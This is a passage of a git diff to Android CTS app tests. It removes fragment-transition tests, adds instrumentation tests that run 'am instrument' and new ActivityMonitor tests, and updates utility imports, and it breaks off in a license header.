-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mEndFragment, TestFragment.ENTER);
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.ENTER));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.EXIT));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.REENTER));
-
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.EXIT));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.REENTER));
-
-        assertTrue(mMidFragment.wasStartCalled(TestFragment.ENTER));
-        assertTrue(mMidFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.RETURN));
-
-        mStartFragment.clearNotifications();
-        mMidFragment.clearNotifications();
-        mEndFragment.clearNotifications();
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                FragmentManager fm = mActivity.getFragmentManager();
-                int id = fm.getBackStackEntryAt(0).getId();
-                fm.popBackStack(id, FragmentManager.POP_BACK_STACK_INCLUSIVE);
-                fm.executePendingTransactions();
-            }
-        });
-        waitForEnd(mEndFragment, TestFragment.RETURN);
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.RETURN));
-
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.RETURN));
-
-        assertTrue(mStartFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.RETURN));
-    }
-
-    public void testNullTransition() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mStartFragment = new TestFragment(R.layout.fragment_start);
-                mStartFragment.clearTransitions();
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mStartFragment)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForStart(mStartFragment, TestFragment.ENTER);
-        // No transitions
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.ENTER));
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mMidFragment = new TestFragment(R.layout.checkbox_layout);
-                mEndFragment = new TestFragment(R.layout.fragment_end);
-                mEndFragment.clearTransitions();
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mMidFragment)
-                        .replace(R.id.content, mEndFragment)
-                        .addToBackStack(null)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForStart(mEndFragment, TestFragment.ENTER);
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.ENTER));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.EXIT));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.REENTER));
-
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.EXIT));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mStartFragment.wasEndCalled(TestFragment.REENTER));
-
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.RETURN));
-
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getFragmentManager().popBackStack();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForStart(mEndFragment, TestFragment.RETURN);
-        assertFalse(mEndFragment.wasEndCalled(TestFragment.RETURN));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mMidFragment.wasStartCalled(TestFragment.RETURN));
-
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.RETURN));
-    }
-
-    public void testRemoveAdded() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mStartFragment = new TestFragment(R.layout.fragment_start);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mStartFragment)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mStartFragment, TestFragment.ENTER);
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        mStartFragment.clearNotifications();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mEndFragment = new TestFragment(R.layout.fragment_end);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mEndFragment)
-                        .replace(R.id.content, mStartFragment)
-                        .replace(R.id.content, mEndFragment)
-                        .addToBackStack(null)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mEndFragment, TestFragment.ENTER);
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.ENTER));
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.EXIT));
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getFragmentManager().popBackStack();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mStartFragment, TestFragment.REENTER);
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.REENTER));
-        assertTrue(mEndFragment.wasEndCalled(TestFragment.RETURN));
-    }
-
-    public void testAddRemoved() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mStartFragment = new TestFragment(R.layout.fragment_start);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mStartFragment)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForEnd(mStartFragment, TestFragment.ENTER);
-        assertTrue(mStartFragment.wasEndCalled(TestFragment.ENTER));
-        mStartFragment.clearNotifications();
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mEndFragment = new TestFragment(R.layout.fragment_end);
-                mActivity.getFragmentManager().beginTransaction()
-                        .replace(R.id.content, mEndFragment)
-                        .replace(R.id.content, mStartFragment)
-                        .addToBackStack(null)
-                        .commit();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForStart(mStartFragment, TestFragment.ENTER);
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.EXIT));
-        assertFalse(mEndFragment.wasStartCalled(TestFragment.ENTER));
-        assertFalse(mEndFragment.wasStartCalled(TestFragment.EXIT));
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mActivity.getFragmentManager().popBackStack();
-                mActivity.getFragmentManager().executePendingTransactions();
-            }
-        });
-        waitForStart(mStartFragment, TestFragment.REENTER);
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mStartFragment.wasStartCalled(TestFragment.RETURN));
-        assertFalse(mEndFragment.wasStartCalled(TestFragment.REENTER));
-        assertFalse(mEndFragment.wasStartCalled(TestFragment.RETURN));
-    }
-
-    private boolean waitForStart(TestFragment fragment, int key) throws InterruptedException {
-        final boolean started;
-        WaitForTransition listener = new WaitForTransition(key, true);
-        fragment.setOnTransitionListener(listener);
-        final long endTime = SystemClock.uptimeMillis() + 100;
-        synchronized (listener) {
-            long waitTime;
-            while ((waitTime = endTime - SystemClock.uptimeMillis()) > 0 &&
-                    !listener.isDone()) {
-                listener.wait(waitTime);
-            }
-            started = listener.isDone();
-        }
-        fragment.setOnTransitionListener(null);
-        getInstrumentation().waitForIdleSync();
-        return started;
-    }
-
-    private boolean waitForEnd(TestFragment fragment, int key) throws InterruptedException {
-        if (!waitForStart(fragment, key)) {
-            return false;
-        }
-        final boolean ended;
-        WaitForTransition listener = new WaitForTransition(key, false);
-        fragment.setOnTransitionListener(listener);
-        final long endTime = SystemClock.uptimeMillis() + 400;
-        synchronized (listener) {
-            long waitTime;
-            while ((waitTime = endTime - SystemClock.uptimeMillis()) > 0 &&
-                    !listener.isDone()) {
-                listener.wait(waitTime);
-            }
-            ended = listener.isDone();
-        }
-        fragment.setOnTransitionListener(null);
-        getInstrumentation().waitForIdleSync();
-        return ended;
-    }
-
-    private static class WaitForTransition implements OnTransitionListener {
-        final int key;
-        final boolean isStart;
-        boolean isDone;
-
-        public WaitForTransition(int key, boolean isStart) {
-            this.key = key;
-            this.isStart = isStart;
-        }
-
-        protected boolean isComplete(TestFragment fragment) {
-            if (isStart) {
-                return fragment.wasStartCalled(key);
-            } else {
-                return fragment.wasEndCalled(key);
-            }
-        }
-
-        public synchronized boolean isDone() {
-            return isDone;
-        }
-
-        @Override
-        public synchronized void onTransition(TestFragment fragment) {
-            isDone = isComplete(fragment);
-            if (isDone) {
-                notifyAll();
-            }
-        }
-    }
-
-}
diff --git a/tests/app/src/android/app/cts/InstrumentationTest.java b/tests/app/src/android/app/cts/InstrumentationTest.java
index 5019586..9e96464 100644
--- a/tests/app/src/android/app/cts/InstrumentationTest.java
+++ b/tests/app/src/android/app/cts/InstrumentationTest.java
@@ -51,9 +51,15 @@
 
 import android.app.stubs.R;
 
+import com.android.compatibility.common.util.SystemUtil;
+
 public class InstrumentationTest extends InstrumentationTestCase {
 
     private static final int WAIT_TIME = 1000;
+
+    // Secondary apk we can run tests against.
+    static final String SIMPLE_PACKAGE_NAME = "com.android.cts.launcherapps.simpleapp";
+
     private Instrumentation mInstrumentation;
     private InstrumentationTestActivity mActivity;
     private Intent mIntent;
@@ -81,8 +87,34 @@
         super.tearDown();
     }
 
-    public void testConstructor() throws Exception {
-        new Instrumentation();
+    public void testDefaultProcessInstrumentation() throws Exception {
+        String cmd = "am instrument -w android.app.cts/.DefaultProcessInstrumentation";
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
+                "\nINSTRUMENTATION_CODE: -1\n", result);
+    }
+
+    public void testAltProcessInstrumentation() throws Exception {
+        String cmd = "am instrument -w android.app.cts/.AltProcessInstrumentation";
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
+                "\nINSTRUMENTATION_CODE: -1\n", result);
+    }
+
+    public void testWildcardProcessInstrumentation() throws Exception {
+        String cmd = "am instrument -w android.app.cts/.WildcardProcessInstrumentation";
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
+                "\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":receiver=true" +
+                "\nINSTRUMENTATION_CODE: -1\n", result);
+    }
+
+    public void testMultiProcessInstrumentation() throws Exception {
+        String cmd = "am instrument -w android.app.cts/.MultiProcessInstrumentation";
+        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
+                "\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
+                "\nINSTRUMENTATION_CODE: -1\n", result);
     }
 
     public void testMonitor() throws Exception {
@@ -358,9 +390,11 @@
         assertTrue(mRunOnMainSyncResult);
     }
 
-    public void testCallActivityOnPause() throws Exception {
+    public void testCallActivityOnPause() throws Throwable {
         mActivity.setOnPauseCalled(false);
-        mInstrumentation.callActivityOnPause(mActivity);
+        runTestOnUiThread(() -> {
+            mInstrumentation.callActivityOnPause(mActivity);
+        });
         mInstrumentation.waitForIdleSync();
         assertTrue(mActivity.isOnPauseCalled());
     }
diff --git a/tests/app/src/android/app/cts/Instrumentation_ActivityMonitorTest.java b/tests/app/src/android/app/cts/Instrumentation_ActivityMonitorTest.java
index 719f74b..a8d16b7 100644
--- a/tests/app/src/android/app/cts/Instrumentation_ActivityMonitorTest.java
+++ b/tests/app/src/android/app/cts/Instrumentation_ActivityMonitorTest.java
@@ -20,15 +20,22 @@
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.Instrumentation.ActivityResult;
+import android.app.stubs.ActivityMonitorTestActivity;
 import android.app.stubs.InstrumentationTestActivity;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 public class Instrumentation_ActivityMonitorTest extends InstrumentationTestCase {
+    private static final String TAG = "ActivityMonitorTest";
 
-    private static final long WAIT_TIMEOUT = 100;
+    private static final long TIMEOUT_FOR_ACTIVITY_LAUNCH_MS = 5000; // 5 sec
+    private static final long CHECK_INTERVAL_FOR_ACTIVITY_LAUNCH_MS = 100; // 0.1 sec
 
     /**
      * check points:
@@ -46,10 +53,9 @@
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         context.startActivity(intent);
         Activity lastActivity = am.getLastActivity();
-        final long TIMEOUT_MSEC = 5000;
-        long timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+        long timeout = System.currentTimeMillis() + TIMEOUT_FOR_ACTIVITY_LAUNCH_MS;
         while (lastActivity == null && System.currentTimeMillis() < timeout) {
-            Thread.sleep(WAIT_TIMEOUT);
+            Thread.sleep(CHECK_INTERVAL_FOR_ACTIVITY_LAUNCH_MS);
             lastActivity = am.getLastActivity();
         }
         Activity activity = am.waitForActivity();
@@ -59,11 +65,11 @@
         activity.finish();
         instrumentation.waitForIdleSync();
         context.startActivity(intent);
-        timeout = System.currentTimeMillis() + TIMEOUT_MSEC;
+        timeout = System.currentTimeMillis() + TIMEOUT_FOR_ACTIVITY_LAUNCH_MS;
         activity = null;
         while (activity == null && System.currentTimeMillis() < timeout) {
-            Thread.sleep(WAIT_TIMEOUT);
-            activity = am.waitForActivityWithTimeout(WAIT_TIMEOUT);
+            Thread.sleep(CHECK_INTERVAL_FOR_ACTIVITY_LAUNCH_MS);
+            activity = am.waitForActivityWithTimeout(CHECK_INTERVAL_FOR_ACTIVITY_LAUNCH_MS);
         }
         assertNotNull(activity);
         activity.finish();
@@ -77,4 +83,232 @@
         assertSame(which, am.getFilter());
         assertFalse(am.isBlocking());
     }
+
+    /**
+     * Verifies that
+     *   - when ActivityMonitor.onStartActivity returs non-null, then there is monitor hit.
+     *   - when ActivityMonitor.onStartActivity returns null, then the activity start is not blocked.
+     */
+    public void testActivityMonitor_onStartActivity() throws Exception {
+        final ActivityResult result = new ActivityResult(Activity.RESULT_OK, new Intent());
+        final Instrumentation instrumentation = getInstrumentation();
+        final Context context = instrumentation.getTargetContext();
+        final Intent intent = new Intent(context, InstrumentationTestActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+        // Verify when ActivityMonitor.onStartActivity returns non-null, then there is a monitor hit.
+        final CustomActivityMonitor cam1 = new CustomActivityMonitor(result);
+        instrumentation.addMonitor(cam1);
+        context.startActivity(intent);
+        final Activity activity1 = cam1.waitForActivityWithTimeout(
+                CHECK_INTERVAL_FOR_ACTIVITY_LAUNCH_MS * 2);
+        try {
+            assertNull("Activity should not have been started", activity1);
+            assertEquals("There should be 1 monitor hit", 1, cam1.getHits());
+        } finally {
+            instrumentation.removeMonitor(cam1);
+        }
+
+        // Verify when ActivityMonitor.onStartActivity returns null, then activity start is not
+        // blocked and there is no monitor hit.
+        final CustomActivityMonitor cam2 = new CustomActivityMonitor(null);
+        instrumentation.addMonitor(cam2);
+        Activity activity2 = instrumentation.startActivitySync(intent);
+        try {
+            assertNotNull("Activity should not be null", activity2);
+            assertTrue("Activity returned should be of instance InstrumentationTestActivity",
+                    activity2 instanceof InstrumentationTestActivity);
+            assertTrue("InstrumentationTestActivity should have been started",
+                    ((InstrumentationTestActivity) activity2).isOnCreateCalled());
+            assertEquals("There should be no monitor hits", 0, cam2.getHits());
+        } finally {
+            activity2.finish();
+            instrumentation.removeMonitor(cam2);
+        }
+    }
+
+    /**
+     * Verifies that when ActivityMonitor.onStartActivity returns non-null, activity start is blocked.
+     */
+    public void testActivityMonitor_onStartActivityBlocks() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        final Context context = instrumentation.getTargetContext();
+
+        // Start ActivityMonitorTestActivity
+        final Intent intent = new Intent(context, ActivityMonitorTestActivity.class);
+        ActivityMonitorTestActivity amTestActivity =
+                (ActivityMonitorTestActivity) instrumentation.startActivitySync(intent);
+
+        // Initialize and set activity monitor.
+        final int expectedResultCode = 1111;
+        final String expectedAction = "matched_using_onStartActivity";
+        final CustomActivityMonitor cam = new CustomActivityMonitor(
+                new ActivityResult(expectedResultCode, new Intent(expectedAction)));
+        instrumentation.addMonitor(cam);
+
+        // Start InstrumentationTestActivity from ActivityMonitorTestActivity and verify
+        // it is intercepted using onStartActivity as expected.
+        try {
+            final CountDownLatch latch = new CountDownLatch(1);
+            amTestActivity.setOnActivityResultListener(
+                    new ActivityMonitorTestActivity.OnActivityResultListener() {
+                        @Override
+                        public void onActivityResult(int requestCode, int resultCode, Intent data) {
+                            assertEquals("Result code is not same as expected",
+                                    expectedResultCode, resultCode);
+                            assertNotNull("Data from activity result is null", data);
+                            assertEquals("Data action is not same as expected",
+                                    expectedAction, data.getAction());
+                            latch.countDown();
+                        }
+                    });
+            amTestActivity.startInstrumentationTestActivity(false);
+            if (!latch.await(TIMEOUT_FOR_ACTIVITY_LAUNCH_MS, TimeUnit.MILLISECONDS)) {
+                fail("Timed out waiting for the activity result from "
+                        + ActivityMonitorTestActivity.class.getName());
+            }
+            assertEquals("There should be 1 monitor hit", 1, cam.getHits());
+        } finally {
+            amTestActivity.finish();
+            instrumentation.removeMonitor(cam);
+        }
+    }
+
+    /**
+     * Verifies that when the activity monitor is created using by passing IntentFilter,
+     * then onStartActivity return value is ignored.
+     */
+    public void testActivityMonitor_onStartActivityAndIntentFilter() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        final Context context = instrumentation.getTargetContext();
+
+        // Start ActivityMonitorTestActivity
+        final Intent intent = new Intent(context, ActivityMonitorTestActivity.class);
+        ActivityMonitorTestActivity amTestActivity =
+                (ActivityMonitorTestActivity) instrumentation.startActivitySync(intent);
+
+        // Initialize and set activity monitor.
+        final int expectedResultCode = 1122;
+        final String expectedAction = "matched_using_intent_filter";
+        final CustomActivityMonitor cam = new CustomActivityMonitor(
+                new IntentFilter(InstrumentationTestActivity.START_INTENT),
+                new ActivityResult(expectedResultCode, new Intent(expectedAction)),
+                true);
+        cam.setResultToReturn(new ActivityResult(1111, new Intent("matched_using_onStartActivity")));
+        instrumentation.addMonitor(cam);
+
+        // Start explicit InstrumentationTestActivity from ActivityMonitorTestActivity and verify
+        // it is intercepted using the intentFilter as expected.
+        try {
+            final CountDownLatch latch = new CountDownLatch(1);
+            amTestActivity.setOnActivityResultListener(
+                    new ActivityMonitorTestActivity.OnActivityResultListener() {
+                        @Override
+                        public void onActivityResult(int requestCode, int resultCode, Intent data) {
+                            assertEquals("Result code is not same as expected",
+                                    expectedResultCode, resultCode);
+                            assertNotNull("Data from activity result is null", data);
+                            assertEquals("Data action is not same as expected",
+                                    expectedAction, data.getAction());
+                            latch.countDown();
+                        }
+                    });
+            amTestActivity.startInstrumentationTestActivity(false);
+            if (!latch.await(TIMEOUT_FOR_ACTIVITY_LAUNCH_MS, TimeUnit.MILLISECONDS)) {
+                fail("Timed out waiting for the activity result from "
+                        + ActivityMonitorTestActivity.class.getName());
+            }
+            assertEquals("There should be 1 monitor hit", 1, cam.getHits());
+        } finally {
+            amTestActivity.finish();
+            instrumentation.removeMonitor(cam);
+        }
+    }
+
+    /**
+     * Verifies that when the activity monitor is created using by passing activity class,
+     * then onStartActivity return value is ignored.
+     */
+    public void testActivityMonitor_onStartActivityAndActivityClass() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        final Context context = instrumentation.getTargetContext();
+
+        // Start ActivityMonitorTestActivity
+        final Intent intent = new Intent(context, ActivityMonitorTestActivity.class);
+        ActivityMonitorTestActivity amTestActivity =
+                (ActivityMonitorTestActivity) instrumentation.startActivitySync(intent);
+
+        // Initialize and set activity monitor.
+        final int expectedResultCode = 2244;
+        final String expectedAction = "matched_using_activity_class";
+        final CustomActivityMonitor cam = new CustomActivityMonitor(
+                InstrumentationTestActivity.class.getName(),
+                new ActivityResult(expectedResultCode, new Intent(expectedAction)),
+                true);
+        cam.setResultToReturn(new ActivityResult(2222, new Intent("matched_using_onStartActivity")));
+        instrumentation.addMonitor(cam);
+
+        // Start implicit InstrumentationTestActivity from ActivityMonitorTestActivity and verify
+        // it is intercepted using the activity class as expected.
+        try {
+            final CountDownLatch latch = new CountDownLatch(1);
+            amTestActivity.setOnActivityResultListener(
+                    new ActivityMonitorTestActivity.OnActivityResultListener() {
+                        @Override
+                        public void onActivityResult(int requestCode, int resultCode, Intent data) {
+                            assertEquals("Result code is not same as expected",
+                                    expectedResultCode, resultCode);
+                            assertNotNull("Data from activity result is null", data);
+                            assertEquals("Data action is not same as expected",
+                                    expectedAction, data.getAction());
+                            latch.countDown();
+                        }
+                    });
+            amTestActivity.startInstrumentationTestActivity(true);
+            if (!latch.await(TIMEOUT_FOR_ACTIVITY_LAUNCH_MS, TimeUnit.MILLISECONDS)) {
+                fail("Timed out waiting for the activity result from "
+                        + ActivityMonitorTestActivity.class.getName());
+            }
+            assertEquals("There should be 1 monitor hit", 1, cam.getHits());
+        } finally {
+            amTestActivity.finish();
+            instrumentation.removeMonitor(cam);
+        }
+    }
+
+    private class CustomActivityMonitor extends ActivityMonitor {
+        private ActivityResult mResultToReturn;
+
+        public CustomActivityMonitor(ActivityResult resultToReturn) {
+            super();
+            mResultToReturn = resultToReturn;
+        }
+
+        public CustomActivityMonitor(IntentFilter intentFilter, ActivityResult result,
+                boolean blocked) {
+            super(intentFilter, result, blocked);
+        }
+
+        public CustomActivityMonitor(String activityClass, ActivityResult result,
+                boolean blocked) {
+            super(activityClass, result, blocked);
+        }
+
+        public void setResultToReturn(ActivityResult resultToReturn) {
+            mResultToReturn = resultToReturn;
+        }
+
+        @Override
+        public ActivityResult onStartActivity(Intent intent) {
+            final boolean implicitInstrumentationTestActivity = intent.getAction() != null &&
+                    InstrumentationTestActivity.START_INTENT.equals(intent.getAction());
+            final boolean explicitInstrumentationTestActivity = intent.getComponent() != null &&
+                    InstrumentationTestActivity.class.getName().equals(
+                            intent.getComponent().getClassName());
+            if (implicitInstrumentationTestActivity || explicitInstrumentationTestActivity) {
+                return mResultToReturn;
+            }
+            return null;
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/IntentServiceTest.java b/tests/app/src/android/app/cts/IntentServiceTest.java
index 9d721fe..7df5428 100644
--- a/tests/app/src/android/app/cts/IntentServiceTest.java
+++ b/tests/app/src/android/app/cts/IntentServiceTest.java
@@ -22,9 +22,10 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
-import android.cts.util.PollingCheck;
 import android.os.IBinder;
 
+import com.android.compatibility.common.util.PollingCheck;
+
 import java.util.concurrent.Callable;
 
 public class IntentServiceTest extends ActivityTestsBase {
diff --git a/tests/app/src/android/app/cts/ListActivityTest.java b/tests/app/src/android/app/cts/ListActivityTest.java
index 1947595..1cd3cf5 100644
--- a/tests/app/src/android/app/cts/ListActivityTest.java
+++ b/tests/app/src/android/app/cts/ListActivityTest.java
@@ -109,22 +109,17 @@
     private static void runOnMainAndDrawSync(Instrumentation instrumentation,
             final View view, final Runnable runner) {
         final Semaphore token = new Semaphore(0);
-        final Runnable releaseToken = new Runnable() {
-            @Override
-            public void run() {
-                token.release();
-            }
-        };
 
         instrumentation.runOnMainSync(new Runnable() {
             @Override
             public void run() {
                 final ViewTreeObserver observer = view.getViewTreeObserver();
-                final ViewTreeObserver.OnDrawListener listener = new ViewTreeObserver.OnDrawListener() {
+                final ViewTreeObserver.OnDrawListener listener =
+                        new ViewTreeObserver.OnDrawListener() {
                     @Override
                     public void onDraw() {
-                        observer.removeOnDrawListener(this);
-                        view.post(releaseToken);
+                        view.post(() -> view.getViewTreeObserver().removeOnDrawListener(this));
+                        view.post(() -> token.release());
                     }
                 };
 
diff --git a/tests/app/src/android/app/cts/LocalActivityManagerTest.java b/tests/app/src/android/app/cts/LocalActivityManagerTest.java
index 7f6fd2f..71869a1 100644
--- a/tests/app/src/android/app/cts/LocalActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/LocalActivityManagerTest.java
@@ -21,10 +21,11 @@
 import android.app.LocalActivityManager;
 import android.app.stubs.LocalActivityManagerTestHelper;
 import android.content.Intent;
-import android.cts.util.CTSResult;
 import android.test.InstrumentationTestCase;
 import android.test.UiThreadTest;
 
+import com.android.compatibility.common.util.CTSResult;
+
 public class LocalActivityManagerTest extends InstrumentationTestCase implements CTSResult {
 
     private Instrumentation mInstrumentation;
diff --git a/tests/app/src/android/app/cts/MultiProcessInstrumentation.java b/tests/app/src/android/app/cts/MultiProcessInstrumentation.java
new file mode 100644
index 0000000..4f3af4f
--- /dev/null
+++ b/tests/app/src/android/app/cts/MultiProcessInstrumentation.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+public class MultiProcessInstrumentation extends BaseProcessInstrumentation {
+    public MultiProcessInstrumentation() {
+        super(ActivityManagerTest.SIMPLE_PACKAGE_NAME + ":other",
+                ActivityManagerTest.SIMPLE_PACKAGE_NAME
+                        + ActivityManagerTest.SIMPLE_RECEIVER);
+    }
+}
diff --git a/tests/app/src/android/app/cts/NewDocumentTest.java b/tests/app/src/android/app/cts/NewDocumentTest.java
new file mode 100644
index 0000000..52d8df9
--- /dev/null
+++ b/tests/app/src/android/app/cts/NewDocumentTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import android.app.stubs.NewDocumentTestActivity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.test.AndroidTestCase;
+
+public class NewDocumentTest extends AndroidTestCase {
+    private static Uri TEST_URI = Uri.parse("test_uri");
+    private static long TIMEOUT_MS = 3000;
+
+    public void testNewDocument() throws InterruptedException {
+        final Intent intent = new Intent();
+        intent.setClass(getContext(), NewDocumentTestActivity.class);
+        intent.setData(TEST_URI);
+
+        try (final Receiver receiver = new Receiver(NewDocumentTestActivity.NOTIFY_RESUME)) {
+            getContext().startActivity(intent);
+            receiver.await();
+        }
+
+        try (final Receiver receiver = new Receiver(NewDocumentTestActivity.NOTIFY_NEW_INTENT)) {
+            getContext().startActivity(intent);
+            receiver.await();
+        }
+    }
+
+    private class Receiver extends BroadcastReceiver implements AutoCloseable {
+        private final CountDownLatch latch = new CountDownLatch(1);
+
+        Receiver(String action) {
+            getContext().registerReceiver(this, new IntentFilter(action));
+        }
+
+        void await() throws InterruptedException {
+            assertTrue(
+                    "Timeout for broadcast from activity",
+                    latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            latch.countDown();
+        }
+
+        @Override
+        public void close() {
+            getContext().unregisterReceiver(this);
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/NotificationChannelGroupTest.java b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
new file mode 100644
index 0000000..162815f
--- /dev/null
+++ b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
